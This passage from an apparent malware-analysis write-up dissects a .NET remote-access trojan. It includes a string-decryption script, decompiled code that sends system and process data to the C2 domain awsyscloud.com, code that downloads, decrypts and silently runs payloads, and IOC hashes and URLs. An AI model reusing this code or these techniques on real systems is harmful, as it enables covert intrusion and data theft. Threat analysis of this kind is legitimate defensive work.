    data = ["KJWeK6opMNlHoc7SHA974F5nbk6DD448fLq-Ez9hmMuc88NUElXEPuV_2tOxf6EI" , "TaCQZsXFklbN3rIa7CteNw==" , "9OiJRcE3UxbQ1mol7exap-ePe9zUBe-jDKiJbjjGGgxJ846PWe-pvxpN__5gWfXE" , "t4eo0i2nNn1C53M76BN57w==" , "Tl8Pz19nfEnrxJLVOCufrQ==" , "a4T-eLzGYkcJioRHI-RxOw==" , "Lbt8TvPONMuK63BsV_yNhQ==" , "J2HUBxHBPrteOEqOz1hJJQ==" , "GN2atbFtNhwFCboBmYG3Ml4u73OYh7wW1e0oy8c1IcmhXabRsdbzat5X1gMwHdkqx-kVw6qCXyl_BlUsy8DEiAt70RbLhlFYBOeXlkefpWA=" , "9OiJRcE3UxbQ1mol7exap-ePe9zUBe-jDKiJbjjGGgxh20-1yNjVgo6cT3ZvNQJbvKgpUf_ehREv_skHUztMmg==" , "LZ7LGYgHc1Ih_AZjFo53Uw==" , "Vx4Ra9G3URGMJJrtu04PhVui8e6sZid928I5_dUOCSZjoiM_o52rvyUcSLWXlBrD" , "nSrTISjhgdGaX3UBRZ2Z70_dGykxY1kDT_iXW-WOpFY=" , "Ny-ZF7dXazF-VTGfOFkiMg==" , "kdKMPLl_PRYyt-WdZVM3ng==" , "zNMtLbNQCZ80OKkMB1gxqA==" , "Y5xdCRwpWD8cmmWVD18z1g==" , "Q2soYJL4hw2a-3jeasovBA==" , "ofvqbOM5IOKViNQ484KcoQ==" , "X5]VCD3CPRMReL-1xqxZ0WQ==" , "gRjhIeao8SsvMeD2nV3tLg==" , "y9ACVjb0dxzPYaL8csOxEg==" , "817B5BJ06VrUno6xZ6GUaWjYzPPJ77A0R52_v6AXSls=" , "gfG4rpHzOJ5gCnR5RfjYjg==" , "03EOPuzHU-VZPkWd-c8cuw==" , "lFFgx1bYNNM5UJlNO_NYoA==" , "wOaEfY2BEEl9gJIvKiFCW4XvDwB4Pjd4saHF50uitv8=" , "NWiI74r6siqxdYoVaAO1Lg==" , "sOECjr4wm2LL7cgYs7SL9LHYYBM6zWGHL5NBh1BKNXM=" , "ih5lhnLUOK3vKCcTL80xcdisHY-O86HIJT-knSx9I64=" , "Fva6UTPcYnkO8zKmq6oVhA==" , "j-isJc-RyBkBOndHnVMydg==" , "PeGfjjcgWMfXaZ1ZMX35p2Z5A-6awnt399xctKCUsYg=" , "4h7CqfT-mzvk01fE_WstrA==" , "hqnAICSOpRE6Uo9Inn4tWg==" , "lOD_5LPVa8-3zr12pxjdqw==" , "yRIqoWHCRQFiAtzl5F91Vw==" , "u7DnxTsUzSDgjS2fN0tV8g==" , "M2DYuPRPHHzMf50xA8cYJg==" , "m5l-J_dDpZmi_4kLvz38ng==" , "Ia1TR72VD6VLbRJisDfljg==" , "H5bNJ0c65GGorEU6ulN3MA==" , "qfJUaeV-i89Thy7z21x8QQ==" , "-ma3PVteDQyHUen4m7yPmw==" , "3NcVIpqM0ajjjcpPgGPnkw==" , "A0khwnKAWZYwNtzx0FwOPA==" , "6_VzvkohvT88C6l7oL_Pcw==" , "SCoshqlsuJjbYLrXCZnt_A==" , "OYcPYOf_ggkr17gzCFjplw==" , "M8bW-IuSUe1g6zan-2Br4A==" , "886s_wJMD4IP0UgyVfL-Rg=="]
else:
    data = [sys.argv[1]]

key = bytearray([25, 180, 214, 210, 171, 118, 192, 16, 246, 44, 63, 134, 107, 98, 172, 48, 14, 143, 140, 55, 31, 163, 14, 150, 251, 169, 245, 207, 81, 87, 97, 199])
iv  = bytearray([199, 24, 200, 111, 19, 31, 209, 174, 221, 190, 28, 183, 86, 105, 128, 214])

for element in data:
    print(aes.cbc(key=key, iv=iv, data=b64decode(element.replace('-', '+').replace('_', '/'))).decode('UTF-8').strip())

    print(aes.cbc(key=key, iv=iv, data=b64decode(element.replace('-', '+').replace('_', '/'))))

And the usage.

$ python tools/decrypt-winpotter.py
c:\windows\system32\cmd.exe /c start ""
\MsRuntime.vbs
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
10
8.1
8
7
Vista
Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA
SOFTWARE\Policies\Microsoft\Windows\Explorer
DisableNotificationCenter
.usercomp
.pcomp
senddevices
Name
OS
Intranet
typo
Ver
907291480
http://awsyscloud.com
H!pT0pNSc3nd
eNn!T5eals
Pon0N.php
Cor2PoRJSet!On.php
f3dlPr00f.php
pR0T5o-Niums.php
[email protected]
EB0n!sHesH.php
pa-Ra6An.php
Dev3l2Nmpo7nt.php
Done
Error
pending
start
sendfile
SendFile=
data=
isd=
result=
comm=
compl=
swift
pascal
kotlin
lua
2000
1987
2017

With that strings in mind, we can move on with the analysis. Function _showme() is just a call to Heyfive.

private void _showme()
{
	this.Heyfive();
}

Which will just create new setupsoul object. Let’s take a look at its constructor.

private void Heyfive()
{
	for (;;)
	{
		try
		{
			new setupsoul();
		}
		catch (Exception)
		{
		}
	}
}
public setupsoul()
{
	this.GetSingular();
}

private void GetSingular()
{
	this.http = new AllComune();
	this.rsa = new OpenHttp();
	bool flag = this._is_file(AllApps._trans.UserComp);
	bool flag2 = this._is_paap(AllApps._trans.PComp);
	if (flag && flag2)
	{
		this._flows();
	}
}

Finaly something more complicated than a single function call. Firstly sample creates two objects, then a call to _is_file() function with argument .usercomp.

private bool _is_file(string _ext)
{
	string[] files = Directory.GetFiles(AllApps._components, "*" + _ext.ToLower());
	if (files.Length != 0)
	{
		setupsoul._files = Path.GetFileNameWithoutExtension(files[0]);
		AllApps._usercomp = setupsoul._files;
		return true;
	}
	if (this._abv <= 25)
	{
		Process.Start("calc");
	}
	else if (this._abv <= 25)
	{
		Process.Start("notepad");
	}
	AllApps._usercomp = string.Concat(new string[]
	{
		Environment.UserName,
		AllApps._dash,
		this.RandomString(10, true),
		AllApps._dash,
		Environment.MachineName,
		AllApps._dash,
		this.RandomNumber(11111, 22222).ToString()
	});
	string text = (string)setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null).GetType().GetMethod("FileWin", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
	{
		new byte[0],
		Path.Combine(AllApps._components, AllApps._usercomp + _ext)
	});
	return true;
}

This function will get all the files from the directory Environment.SpecialFolder.Cookies ending with .usercomp using a wildcard. After that we have two calls to Process.Start with both calc and notepad processes, but only with value of _abv is smaller or equal than 25.

After that it will load meloy.post.dll, create instance of deployservice.host.maint and invoke FileWin method. As, once again, meloy.post.dll is just renamed p2ehtHero0paSth3end.dll, we can load it into dnSpy and check out what it does.

private static void FileWin(byte[] _bits, string _path)
{
	try
	{
		FileStream fileStream = new FileStream(_path, FileMode.OpenOrCreate, FileAccess.Write);
		fileStream.Write(_bits, 0, _bits.Length);
		fileStream.Close();
	}
	catch (Exception)
	{
	}
}

Just writing _bits to a file specified in _path argument.

Next on, we have a _is_paap with an .pcomp argument passed to it. Once again, it will check for files with that extension in directory stored _components. Rest is mostly the same as the previous function.

private bool _is_paap(string _ext)
{
	string[] files = Directory.GetFiles(AllApps._components, "*" + _ext.ToLower());
	if (files.Length != 0)
	{
		setupsoul._files = Path.GetFileNameWithoutExtension(files[0]);
		AllApps._pcomp = setupsoul._files;
		return true;
	}
	byte[] array = new byte[16];
	new Random().NextBytes(array);
	AllApps._pcomp = Convert.ToBase64String(array).Replace("+", "-").Replace("/", "_");
	string text = (string)setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null).GetType().GetMethod("FileWin", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
{
	new byte[0],
	Path.Combine(AllApps._components, AllApps._pcomp + _ext)
});
if (this._abv <= 25)
{
	Process.Start("calc");
}
else if (this._abv <= 25)
{
	Process.Start("notepad");
}
return true;

Finally, if both of these functions return true we can move on to the next call.

if (flag && flag2)
{
	this._flows();
}

Let’s take a look at the _flows function.

private void _flows()
{
	string certificateText = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code11), "relay=y!bishopbeen".Split(new char[]
	{
		'!'
	})[0]);
	this.rsa.LoadCertificateFromString(certificateText);
	string str = plusndash.ToUrlSafeBase64(this.rsa.Encrypt(this.http._pep.EncryptionKey));
	string str2 = plusndash.ToUrlSafeBase64(this.rsa.Encrypt(this.http._pep.EncryptionIV));
	string cipherText = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code11), "juliahich!dorf=".Split(new char[]
	{
		'!'
	})[1] + str + "&huss=!richardsibn".Split(new char[]
	{
		'!'
	})[0] + str2);
	this.connected = (this.http._pep.Decrypt(cipherText) == "6f6e6c79706172616e6f696473757276697665#senderintodistropes".Split(new char[]
	{
		'#'
	})[0]);
	if (this.connected)
	{
		while (this.connected)
		{
			AllApps._depot = "usercomp=*estroball".Split(new char[]
			{
				'*'
			})[0] + AllApps._usercomp + "&pcomp=!puppetshow".Split(new char[]
			{
				'!'
			})[0] + AllApps._pcomp;
			string str3 = this.http.packdata(AllApps._depot);
			string cipherText2 = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code12)	, AllApps._trans.Code26 + str3);
			if (this.http._pep.Decrypt(cipherText2) == AllApps._trans.Code1)
			{
				this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code13), 	AllApps._trans.Code26 + this.http.packdata(AllApps._depot + AllApps._ampers + this._entertainer()));
				this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code14), 	AllApps._trans.Code26 + this.http.packdata(this._quieter() + AllApps._ampers + AllApps._depot));
				string cipherText3 = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, 	AllApps._trans.Code19), AllApps._trans.Code26 + this.http.packdata(AllApps._depot));
				this.http._pep.Decrypt(cipherText3) == AllApps._code23;
				this.damnit();
			}
		}
	}
}

First HTTP request will make a call to http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/Pon0N.php URL in order to get RSA certificate. Quick peek from Any.Run.

MIIGOjCCBSKgAwIBAgIQDNLpXg2JTrEONgjlOGslUzANBgkqhkiG9w0BAQsFADBy
MQswCQYDVQQGEwJVUzELMAkGA1UECBMCVFgxEDAOBgNVBAcTB0hvdXN0b24xFTAT
BgNVBAoTDGNQYW5lbCwgSW5jLjEtMCsGA1UEAxMkY1BhbmVsLCBJbmMuIENlcnRp
ZmljYXRpb24gQXV0aG9yaXR5MB4XDTE5MDgxNzAwMDAwMFoXDTE5MTExNTIzNTk1
OVowFzEVMBMGA1UEAxMMa21jb2RlY3MuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGEBtrH+MOYRnKOOlnF5mKE3e3PPwDjYCXYUiIzmbz+xbeKd
aVmO87HUN08v2aav4PPAxtn3nvVfo3L4kLP4HUDmffqQCsUOjwHO2gefu7BMiX+Y
y/mxAYErW2gmU3+3/vBW29L3X/fDyRCqYzJ9lkItfQBDX3TdRSllqNwV6pYBLoDY
FuqyV6Q5xYl/yx5GqkozsXT41AZc6COen94a+7YTnLmfVwQr/86aE59f3SnKHWta
OGIIvQzcJx9ANnSYtxwljbyiLHye1gQ8M0BKnbRflQgpicylp44ijMTdn8RrwBSS
dUHuYeNboKO76zAyoZoqK5yg5c42X5XQS0lNIQIDAQABo4IDJTCCAyEwHwYDVR0j
BBgwFoAUfgNaZUFrp34K4bidCOodjh1qx2UwHQYDVR0OBBYEFOJZzq4Zn5zFy2nE
5+k1KXLHxQI2MA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQW
MBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysGAQQBsjEBAgI0
MCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMAgG
BmeBDAECATBMBgNVHR8ERTBDMEGgP6A9hjtodHRwOi8vY3JsLmNvbW9kb2NhLmNv
bS9jUGFuZWxJbmNDZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDB9BggrBgEFBQcB
AQRxMG8wRwYIKwYBBQUHMAKGO2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL2NQYW5l
bEluY0NlcnRpZmljYXRpb25BdXRob3JpdHkuY3J0MCQGCCsGAQUFBzABhhhodHRw
Oi8vb2NzcC5jb21vZG9jYS5jb20wfQYDVR0RBHYwdIIMa21jb2RlY3MuY29tghNj
cGFuZWwua21jb2RlY3MuY29tghFtYWlsLmttY29kZWNzLmNvbYIUd2ViZGlzay5r
bWNvZGVjcy5jb22CFHdlYm1haWwua21jb2RlY3MuY29tghB3d3cua21jb2RlY3Mu
Y29tMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAY/Lbzeg7zCzPC3KEJ1drM6SN
YXePvXWmOLHHaFRL2I0AAAFsnsK0LwAABAMARzBFAiEAohJ9ESEj5JIO6XUJjTt0
9i62SJ29aYvmP1zKa+zAoPQCIEPxiFlIKsGqk1OjaU0rOfFvmJL82eQkxdCCnJeJ
9IfAAHUAdH7agzGtMxCRIZzOJU9CcMK//V5CIAjGNzV55hB7zFYAAAFsnsK0TQAA
BAMARjBEAiAHY3etwrN+Nc31mscdYfewcslm+eUYGDzaiB3XKdpwXgIgEKVyp1ef
0OxqR+OK06322yJJLu5XXucoO580Y3lf8TUwDQYJKoZIhvcNAQELBQADggEBADbO
WwQvHeQEQ4YZHeHJqEUFzDQvxr6vBX+MgQQYKFq5KECDG6urHn1dfi8h5zoGfGvw
5AGy6wn+oIh2VlTbOxK2Wu+3PBSTxKyAt2N+7TWsslpz3SHbyXj0/B4LhojbLZMn
rcnBMTJsKWKvrAOvPwShZbODXIVETEfRryiPpkA1t0teHZI7t6TiccXkkkyxiDge
03MmK7+Hj6rxWodEMQTBu7vY0IA9W8hevUnYN+6o4H0TeY9lP+J/SONPyksfMl3S
EQX3ZNjxCdHzhuM78A/IuCBBzxGRGBQ54B8m2J9n7dXXdAELxMShMubfoIo321eC
isev4aVidOOCJRg+60M=

Later on, after loading the certificate, we can see that it sends encrypted AES key and IV to the C2 server via dorf= and &huss= parameters. If the decrypted response from the C2 is equal to 6f6e6c79706172616e6f696473757276697665, malware assumes it is finally connected and can exchange further information.

And finally, we have a while loop that will send exfiltrated data to the C2.

Call to _entertainer will try to recover, once again, CIM_OperatingSystem using WMI queries.

private string _entertainer()
{
	string text = "";
	try
	{
		text = AllApps._trans.Code2 + AllApps._equals + Manager.ReadString("CSName", "CIM_OperatingSystem", null) + AllApps._ampers;
	}
	catch
	{
	}
	try
	{
		text = string.Concat(new string[]
		{
			text,
			AllApps._trans.Code3,
			AllApps._equals,
			AllApps._os,
			AllApps._ampers
		});
	}
	catch
	{
	}
	try
	{
		text = string.Concat(new string[]
		{
			text,
			AllApps._trans.Code4,
			AllApps._equals,
			AllApps._intranet,
			AllApps._ampers
		});
	}
	catch
	{
	}
	try
	{
		text = string.Concat(new string[]
		{
			text,
			AllApps._trans.Code5,
			AllApps._equals,
			AllApps._typo,
			AllApps._ampers
		});
	}
	catch
	{
	}
	try
	{
		FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(Application.ExecutablePath);
		text = string.Concat(new string[]
		{
			text,
			AllApps._trans.Code6,
			AllApps._equals,
			versionInfo.ProductVersion,
			AllApps._ampers
		});
	}
	catch
	{
	}
	return text.TrimEnd(new char[]
	{
		'&'
	});
}

On the other hand, call to _quieter basically uses Windowf function from meloy.post.dll. It will return following information about processes.

private static string Windowf()
{
	string result;
	try
	{
		Process[] processes = Process.GetProcesses();
		StringBuilder stringBuilder = new StringBuilder();
		int num = 0;
		foreach (Process process in processes)
		{
			stringBuilder.Append(string.Format("Paging{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}", new object[]
			{
				num,
				"=",
				process.ProcessName,
				";",
				process.Id,
				";",
				process.MainWindowTitle,
				";",
				process.PrivateMemorySize64,
				";",
				process.SessionId,
				";",
				process.Responding,
				"&"
			}));
			num++;
		}
		result = stringBuilder.ToString().Substring(0, stringBuilder.Length - 1);
	}
	catch (Exception)
	{
		result = "";
	}
	return result;
}

Finally, after all the data is we have a call to damnit.

private void damnit()
{
	try
	{
		string text = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code15), AllApps._trans.Code26 + this.http.packdata(AllApps._depot));
		text = this.http._pep.Decrypt(text);
		if (Convert.ToInt32(AllApps._trans.Code7) == Convert.ToInt32(text.Split(new char[]
		{
			':'
		})[1].Substring(0, text.Split(new char[]
		{
			':'
		})[1].Length - 1)))
		{
			while (this.connected)
			{
				this.http.depector(AllApps._trans.Coding);
				string cipherText = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, this.http._three, this.http._four), AllApps._trans.Code26 + this.http.packdata(AllApps._depot + AllApps._ampers + "code=" + AllApps._trans.Coding));
				string text2 = this.http._pep.Decrypt(cipherText);
				if (text2 != null)
				{
					this._bolentier(text2);
					if (this._3rd == "swift(EllyMorge".Split(new char[]
					{
						'('
					})[0])
					{
						try
						{
							this.semicolons(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
					if (this._3rd == "pascal-ritekelvionaski".Split(new char[]
					{
						'-'
					})[0])
					{
						try
						{
							this.bracket(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
					if (this._3rd == "shemypolandar*kotlin".Split(new char[]
					{
						'*'
					})[1])
					{
						try
						{
							this.semicolons(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
					if (this._3rd == "lua#messiponda".Split(new char[]
					{
						'#'
					})[0])
					{
						try
						{
							this.bracket(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
					if (this._3rd == "illustrationdebute*fortran".Split(new char[]
					{
						'*'
					})[1])
					{
						try
						{
							this.Pips(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
					if (this._3rd == "golang#herbalnatural".Split(new char[]
					{
						'#'
					})[0])
					{
						try
						{
							this.Pips(this._1st, this._2nd, this._3rd, this._4th, this._5th);
							break;
						}
						catch
						{
							break;
						}
					}
				}
				Thread.Sleep(5000);
			}
		}
	}
	catch (Exception)
	{
	}
}

Here we can see that based on the different values passed to the function (with names based on the programming languages), malware will execute different functions.

  • function semicolons will call DotNetMicro and ProtonsBar functions from meloy.post.dll which will respectively, download file from an URL passed to it and start it as a new process.
private void semicolons(string id, string urp, string comm, string typ, string add)
{
	if (!this.semicolonbool)
	{
		this._gttp = this.http;
		this.semicolonbool = true;
		this._gttp.depector(AllApps._trans.Coding2);
		this._gttp.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, this._gttp._three, this._gttp._four), AllApps._trans.Code26 + this.http.packdata(AllApps._depot + AllApps._ampers + "rigged=" + id));
		try
		{
			string text = Path.Combine(AllApps._app, Path.GetFileName(urp));
			this.obj = setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
			if ((bool)this.obj.GetType().GetMethod("DotNetMicro", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
			{
				urp,
				text
			}))
			{
				string cipherText = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code19), AllApps._trans.Code26 + this.http.packdata(AllApps._depot));
				if (this.http._pep.Decrypt(cipherText) == AllApps._trans.Code23)
				{
					this.obj = setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
					bool flag = (bool)this.obj.GetType().GetMethod("ProtonsBar", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
					{
						text
					});
				}
			}
			this._gttp._petition(id, AllApps._trans.Code20, comm, AllApps._trans.Code20, AllApps._trans.Coding1);
		}
		catch (Exception ex)
		{
			this._gttp._petition(id, AllApps._code21, comm, ex.ToString(), AllApps._trans.Coding1);
		}
		this.semicolonbool = false;
	}
}
private static bool DotNetMicro(string _url, string _path)
{
	bool result;
	try
	{
		new WebClient().DownloadFile(_url, _path);
		result = true;
	}
	catch (Exception)
	{
		result = false;
	}
	return result;
}
private static bool ProtonsBar(string _f)
{
	bool result;
	try
	{
		new Process
		{
			StartInfo = 
			{
				FileName = _f,
				Arguments = "",
				UseShellExecute = false,
				RedirectStandardOutput = true,
				WindowStyle = ProcessWindowStyle.Hidden,
				CreateNoWindow = true
			}
		}.Start();
		result = true;
	}
	catch (Exception)
	{
		result = false;
	}
	return result;
}

All of these tasks are done in the cycles while the malware is connected to the C2.

  • function bracket is just doing another request.
private void bracket(string id, string urp, string comm, string typ, string add)
{
	if (!this._bracketbool)
	{
		this._gttp = this.http;
		this._bracketbool = true;
		this._gttp.depector(AllApps._trans.Coding2);
		this._gttp.httprequest(this._gttp._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, this._gttp._three, this._gttp._four), AllApps._trans.Code26 + this._gttp.packdata(AllApps._depot + AllApps._ampers + "rigged=" + id));
		this._server = new udpnpnp(urp, add, AllApps._usercomp, AllApps._pcomp, AllApps._three, AllApps._trans.Code17, id, comm, this._gttp, setupsoul.asm, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public));
		this._bracketbool = false;
	}
}
  • function Pips looks very similar to semicolons with another function call in between DotNetMicro and ProtonsBar, which is that will also decrypt data passed to it.
private void Pips(string id, string urp, string comm, string typ, string add)
{
	if (!this.semicolonbool)
	{
		this._gttp = this.http;
		this.semicolonbool = true;
		this._gttp.depector(AllApps._trans.Coding2);
		this._gttp.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, this._gttp._three, this._gttp._four), AllApps._trans.Code26 + this.http.packdata(AllApps._depot + AllApps._ampers + "rigged=" + id));
		new WebClient();
		try
		{
			this.obj = setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
			string text = Path.Combine(AllApps._app, Path.GetFileName(urp));
			if ((bool)this.obj.GetType().GetMethod("DotNetMicro", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
			{
				urp,
				text
			}))
			{
				string cipherText = this.http.httprequest(this.http._robenhood(AllApps._trans.Code8, AllApps._trans.Code9, AllApps._trans.Code10, AllApps._trans.Code19), AllApps._trans.Code26 + this.http.packdata(AllApps._depot));
				if (this.http._pep.Decrypt(cipherText) == AllApps._trans.Code23)
				{
					this.obj = setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
					string text2 = (string)this.obj.GetType().GetMethod("Stubborn", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
					{
						text
					});
					if (text2.Length > 0)
					{
						this.obj = setupsoul.asm.CreateInstance("deployservice.host.maint", true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
						bool flag = (bool)this.obj.GetType().GetMethod("ProtonsBar", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public)).Invoke(null, new object[]
						{
							text2
						});
					}
				}
			}
			this._gttp._petition(id, AllApps._trans.Code20, comm, AllApps._trans.Code20, AllApps._trans.Coding1);
		}
		catch (Exception ex)
		{
			this._gttp._petition(id, AllApps._code21, comm, ex.ToString(), AllApps._trans.Coding1);
		}
		this.semicolonbool = false;
	}
}
private static string Stubborn(string pete)
{
	string result;
	try
	{
		byte[] salt = new byte[]
		{
			38,
			220,
			byte.MaxValue,
			0,
			173,
			237,
			122,
			238,
			197,
			254,
			7,
			175,
			77,
			8,
			34,
			60
		};
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Path.GetFileNameWithoutExtension(pete)) + Encoding.UTF8.GetString(new byte[]
		{
			46,
			101,
			120,
			101
		});
		string password = "Hi0-78LoupIks2jMn";
		byte[] array = File.ReadAllBytes(pete);
		Rijndael rijndael = Rijndael.Create();
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt);
		rijndael.Key = rfc2898DeriveBytes.GetBytes(32);
		rijndael.IV = rfc2898DeriveBytes.GetBytes(16);
		MemoryStream memoryStream = new MemoryStream();
		CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
		cryptoStream.Write(array, 0, array.Length);
		cryptoStream.Close();
		File.WriteAllBytes(text, memoryStream.ToArray());
		result = text;
	}
	catch (Exception ex)
	{
		result = ex.ToString();
	}
	return result;
}

IOCs

File hashes.

b95e2ec3d72c65dd9495b633a1dbc906|DSOP_Advance.xls
5507125d8bf2634da05331cecf9be557|m1ssh0upUuchCukXanevPozlu.dll
c8288412e6679f33f77106b80020376b|p2ehtHero0paSth3end.dll
95970056e0ff6c26d196496105521c19|SppExtComTel.exe
03edfaefb8ef26342a234315b14eae2b|SppExtComTel.exe
d333bae2c45fe431befd7a88f1d7a540|x64i.scr
1f137ac28556d4507f97f736b0ac7d45|aeinv.dll
4b78b431f225fd8624c5655cb1de7b61|aelupsvc.dll
341bf386e067095bb17b875a451c96f2|windproc.scr
f78838433e7b090fd9526fa92920a0f6|windprocx.scr
6280bc40960c5282287a4820475b2cff|systemidleperf.zip
452f8465bab45f0c3c028df1a777e350|systemidleperf.vbs
cd0cfbf56b87b7b3733e364cb69fe502|Realtime.cs

Contacted URL:

http://www.awsyscloud.com/x64i.scr
http://awsyscloud.com/[email protected]!aBbU0le8hiInks/cred!tors.php
http://awsyscloud.com/[email protected]!aBbU0le8hiInks/ballenotapey.php
http://awsyscloud.com/[email protected]!aBbU0le8hiInks/D/3500/p2ehtHero0paSth3end.dll
http://awsyscloud.com/[email protected]!aBbU0le8hiInks/B/3500/m1ssh0upUuchCukXanevPozlu.dll
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/Pon0N.php
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/Cor2PoRJSet!On.php
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/f3dlPr00f.php
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/pR0T5o-Niums.php
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/Dev3l2Nmpo7nt.php
http://awsyscloud.com/H!pT0pNSc3nd/eNn!T5eals/[email protected]